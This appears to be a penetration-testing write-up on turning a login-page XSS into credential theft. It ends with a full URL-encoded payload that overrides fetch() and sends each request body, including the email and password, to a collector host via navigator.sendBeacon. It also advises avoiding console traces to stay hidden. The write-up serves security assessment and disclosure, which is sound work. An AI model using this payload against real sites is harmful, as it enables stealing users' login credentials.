HTTP Hijacking Through Cross-site Scripting (XSS)

During a recent assessment, we identified a low-impact Cross-site Scripting (XSS) vulnerability. While HttpOnly cookies typically protect against unauthorized access to authentication cookies, there's a way to escalate the impact of such vulnerabilities.

In our recent web application assessment project, we encountered an application employing server-side rendering (SSR). SSR is a technique where HTML content is generated on the server rather than the client’s browser, involving frameworks such as Next.js, Nuxt.js, Angular Universal, and Ruby on Rails. This method renders the web page on the server, sends the fully rendered HTML to the client, and then displays the content in the client’s browser. JavaScript is responsible for firing HTTP requests to the server.

Early in the project, we identified a Cross-Site Scripting (XSS) vulnerability on the login page. If an authenticated user navigates to the login page, their session is terminated, and they are prompted to sign in again, preventing us from collecting the authentication session. Additionally, an HttpOnly cookie is set, limiting the real-world impact of the XSS vulnerability.

We observed that the login request is triggered by JavaScript at a low level using the fetch() function, with both the email and password sent in clear text. To exploit this, we needed a method to intercept and steal this data.

If we can only find a way to steal the data being sent to the server, we can leverage the impact of our XSS finding.

Proof of Concept

We decided to override the fetch() function to log every request body argument, allowing us to capture the login request (email and password).

Attack Payload

In a real-world scenario, an attacker would intercept this request body and send it to their server to hijack the traffic. However, attempting to call the fetch() function while overriding it led to a recursion error: Uncaught (in promise) InternalError: too much recursion; fetch debugger eval code:8.

Fortunately, we explored using XMLHttpRequest, but encountered a CORS-related error since we were using a simple HTTP Python module. Next, we created a new Image object in JavaScript and set the src property. This approach worked but displayed a warning message in the browser console: A resource is blocked by OpaqueResponseBlocking, please check browser console for details.

To avoid leaving traces in the console, we utilized navigator.sendBeacon to stay under the radar.

Let's convert it to a full payload and convert into a one-liner:

http://[REDACTED]/login?email=test@test.com%22%20onmouseover=%22(function(){var%20o=window.fetch;window.fetch=function(){var%20a=arguments,r=a[1]?.body;if(r){navigator.sendBeacon(`http://127.0.0.1:8000/${encodeURIComponent(r)}`,%20new%20Blob([r],%20{type:%20%27application/x-www-form-urlencoded%27}));}return%20o.apply(this,a);};})();%22%20a=%22

Upon opening the page, the user sees test@test.com in the email field which they probably want to change to their real email. When they move their mouse cursor over it, our payload overrides the fetch() function to redirect all HTTP requests from that session to our chosen destination, allowing an attacker to hijack the HTTP traffic. By successfully capturing and redirecting the HTTP requests, the attacker can log the intercepted data as shown below:

Attacker's HTTP Traffic Logs